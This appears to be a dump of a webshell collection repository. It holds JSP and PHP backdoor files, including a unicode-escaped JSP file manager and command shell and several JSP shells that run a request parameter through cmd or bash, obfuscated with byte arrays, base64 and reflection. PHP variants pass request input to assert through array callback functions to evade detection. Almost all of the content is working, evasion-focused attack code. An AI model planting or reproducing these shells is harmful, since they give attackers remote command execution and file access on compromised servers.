065\u0070\u0074\u0069\u006f\u006e\u007b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u0063\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u0061\u0074\u0061\u006c\u006f\u0067\u0073\u0028\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0029\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004f\u004f\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0074\u003d\u007b\u0022\u0054\u0041\u0042\u004c\u0045\u0022\u007d\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u0063\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0061\u0062\u006c\u0065\u0073\u0020\u0028\u006e\u0075\u006c\u006c\u002c\u006e\u0075\u006c\u006c\u002c\u0022\u0025\u0022\u002c\u0074\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0022\u0054\u0041\u0042\u004c\u0045\u005f\u004e\u0041\u004d\u0045\u0022\u0029\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0050\u0050\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0078\u003d\u0073\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0020\u006d\u003d\u0063\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0028\u0031\u0030\u0030\u0035\u002c\u0031\u0030\u0030\u0037\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0051\u0075\u0065\u0072\u0079\u0028\u0022\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0022\u002b\u0078\u005b\u0033\u005d\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0020\u0064\u003d\u0072\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0043\u006f\u0075\u006e\u0074\u0028\u0029\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u0020\u0028\u0022\u002b\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0054\u0079\u0070\u0065\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u0029\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u006d\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0051\u0051\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0071\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0069\u006e\u0074\u0020\u0069\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0020\u006d\u003d\u0063\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0028\u0031\u0030\u0030\u0035\u002c\u0031\u0030\u0030\u0038\u0029\u003b\u0074\u0072\u0079\u007b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0051\u0075\u0065\u0072\u0079\u0028\u0071\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0020\u0064\u003d\u0072\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003d\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0043\u006f\u0075\u006e\u0074\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u006e\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u0022\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0066\u006f\u0072\u0028\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u006e\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0045\u0043\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0069\u0029\u002c\u0063\u0073\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u0022\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0052\u0065\u0073\u0075\u006c\u0074\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0074\u0072\u0079\u007b\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0055\u0070\u0064\u0061\u0074\u0065\u0028\u0071\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u0020\u0053\u0075\u0063\u0063\u0065\u0073\u0073\u0066\u0075\u006c\u006c\u0079\u0021\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0065\u0065\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u007d\u006d\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d
4 | %>
5 | <%
6 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0073\u003d\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0030\u0022\u0029\u002b\u0022\u0022\u003b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0043\u0068\u0061\u0072\u0061\u0063\u0074\u0065\u0072\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0028\u0063\u0073\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u0054\u0079\u0070\u0065\u0028\u0022\u0074\u0065\u0078\u0074\u002f\u0068\u0074\u006d\u006c\u003b\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u003d\u0022\u002b\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u005a\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0050\u0077\u0064\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u007a\u0031\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0031\u0022\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u007a\u0032\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0032\u0022\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u003d\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0022\u0022\u0029\u003b\u0074\u0072\u0079\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u003b\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0041\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u006c\u0050\u0061\u0074\u0068\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0055\u0052\u0049\u0028\u0029\u0029\u0029\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0065\u006e\u0074\u0028\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0073\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u0069\u0066\u0028\u0021\u0073\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u002f\u0022\u0029\u0029\u007b\u0041\u0041\u0028\u0073\u0062\u0029\u003b\u007d\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0042\u0022\u0029\u0029\u007b\u0042\u0042\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0043\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u003d\u0022\u0022\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u007a\u0031\u0029\u0029\u0029\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u003d\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0021\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u002b\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0062\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0044\u0022\u0029\u0029\u007b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0057\u0072\u0069\u0074\u0065\u0072\u0020\u0062\u0077\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u007a\u0031\u0029\u0029\u0029\u0029\u003b\u0062\u0077\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u007a\u0032\u0029\u003b\u0062\u0077\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0045\u0022\u0029\u0029\u007b\u0045\u0045\u0028\u007a\u0031\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0046\u0022\u0029\u0029\u007b\u0046\u0046\u0028\u007a\u0031\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0047\u0022\u0029\u0029\u007b\u0047\u0047\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0048\u0022\u0029\u0029\u007b\u0048\u0048\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0049\u0022\u0029\u0029\u007b\u0049\u0049\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004a\u0022\u0029\u0029\u007b\u004a\u004a\u0028\u007a\u0031\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004b\u0022\u0029\u0029\u007b\u004b\u004b\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004c\u0022\u0029\u0029\u007b\u004c\u004c\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004d\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u003d\u007b\u007a\u0031\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0032\u0029\u002c\u007a\u0031\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0032\u0029\u002c\u007a\u0032\u007d\u003b\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u003d\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0063\u0029\u003b\u004d\u004d\u0028\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0073\u0062\u0029\u003b\u004d\u004d\u0028\u0070\u002e\u0067\u0065\u0074\u0045\u0072\u0072\u006f\u0072\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004e\u0022\u0029\u0029\u007b\u004e\u004e\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004f\u0022\u0029\u0029\u007b\u004f\u004f\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0050\u0022\u0029\u0029\u007b\u0050\u0050\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0051\u0022\u0029\u0029\u007b\u0051\u0051\u0028\u0063\u0073\u002c\u007a\u0031\u002c\u007a\u0032\u002c\u0073\u0062\u0029\u003b\u007d\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0045\u0052\u0052\u004f\u0052\u0022\u002b\u0022\u003a\u002f\u002f\u0020\u0022\u002b\u0065\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u003b\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0073\u0062\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u0029\u003b
7 | %>
8 |
--------------------------------------------------------------------------------
/webshell/jsp/ProcessBuilder-cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page pageEncoding="utf-8"%>
2 | <%@ page import="java.util.Scanner" %>
3 |
4 | Just For Fun
5 |
6 | Build By LandGrey
7 |
11 |
12 | <%
13 | String op="Got Nothing";
14 | String query = request.getParameter("q");
15 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
16 | Boolean isWin;
17 | if(fileSeparator.equals("\\")){
18 | isWin = true;
19 | }else{
20 | isWin = false;
21 | }
22 |
23 | if (query != null) {
24 | ProcessBuilder pb;
25 | if(isWin) {
26 | pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
27 | }else{
28 | pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
29 | }
30 | Process process = pb.start();
31 | Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
32 | op = sc.hasNext() ? sc.next() : op;
33 | sc.close();
34 | }
35 | %>
36 |
37 |
38 | <%= op %>>
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/webshell/jsp/ProcessBuilder-reflect-cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page pageEncoding="UTF-8" %>
2 | <%@ page import="java.util.List" %>
3 | <%@ page import="java.util.Scanner" %>
4 | <%@ page import="java.util.ArrayList" %>
5 | <%@ page import="sun.misc.BASE64Encoder" %>
6 | <%@ page import="sun.misc.BASE64Decoder" %>
7 |
8 | Just For Fun
9 |
10 | Build By LandGrey
11 |
12 |
16 |
17 | <%!
18 | public static String getPicture(String str) throws Exception {
19 | List list = new ArrayList();
20 | BASE64Decoder decoder = new BASE64Decoder();
21 | BASE64Encoder encoder = new BASE64Encoder();
22 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
23 | if(fileSeparator.equals("\\")){
24 | list.add(new String(decoder.decodeBuffer("Y21k")));
25 | list.add(new String(decoder.decodeBuffer("L2M=")));
26 | }else{
27 | list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
28 | list.add(new String(decoder.decodeBuffer("LWM=")));
29 | }
30 | list.add(new String(decoder.decodeBuffer(str)));
31 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
32 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
33 | Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
34 | String result = "";
35 | result = sc.hasNext() ? sc.next() : result;
36 | sc.close();
37 | return encoder.encode(result.getBytes("UTF-8"));
38 | }
39 |
40 | %>
41 |
42 | <%
43 | String name ="Input Nothing";
44 | String query = request.getParameter("q");
45 | if(query != null) {
46 | name = getPicture(query);
47 | }
48 | %>
49 |
50 |
51 | <%= name %>
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/webshell/jsp/Runtime-reflect-cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
2 |
3 | Just For Fun
4 |
5 | Build By LandGrey
6 |
7 |
11 |
12 | <%!
13 | public static String getPicture(String str) throws Exception{
14 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
15 | if(fileSeparator.equals("\\")){
16 | str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
17 | }else{
18 | str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
19 | }
20 | Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
21 | Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str });
22 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
23 | String result = "";
24 | result = sc.hasNext() ? sc.next() : result;
25 | sc.close();
26 | return result;
27 | }
28 | %>
29 |
30 | <%
31 | String name ="Input Nothing";
32 | String query = request.getParameter("q");
33 | if(query != null) {
34 | name = getPicture(query);
35 | }
36 | %>
37 |
38 |
39 | <%= name %>
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/webshell/php/array_intersect_uassoc-filename-last-char-must-be-r.php:
--------------------------------------------------------------------------------
1 | ""), array(1), $f);
7 | ?>
8 |
--------------------------------------------------------------------------------
/webshell/php/array_intersect_uassoc-filename-last-char-must-be-s.php:
--------------------------------------------------------------------------------
1 | ""), array(1), $f);
6 | ?>
7 |
--------------------------------------------------------------------------------
/webshell/php/array_intersect_uassoc-headers-accept-r.php:
--------------------------------------------------------------------------------
1 | ""), array(1), $f);
7 | ?>
8 |
--------------------------------------------------------------------------------
/webshell/php/array_intersect_ukey-cookie-ass.php:
--------------------------------------------------------------------------------
1 | = 5.4.0, PHP 7)
4 | *
5 | */
6 | $password = "LandGrey";
7 | $ch = $_COOKIE["set-domain-name"];
8 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
9 | ?>
10 |
--------------------------------------------------------------------------------
/webshell/php/array_intersect_ukey.php:
--------------------------------------------------------------------------------
1 | = 5.4.0, PHP 7)
4 | *
5 | */
6 | $password = "LandGrey";
7 | $ch = explode(".","hello.ass.world.er.t");
8 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
9 | ?>
10 |
--------------------------------------------------------------------------------
/webshell/php/array_udiff_assoc.php:
--------------------------------------------------------------------------------
1 | = 5.4.0, PHP 7)
4 | *
5 | */
6 | $password = "LandGrey";
7 | array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
8 | ?>
9 |
--------------------------------------------------------------------------------
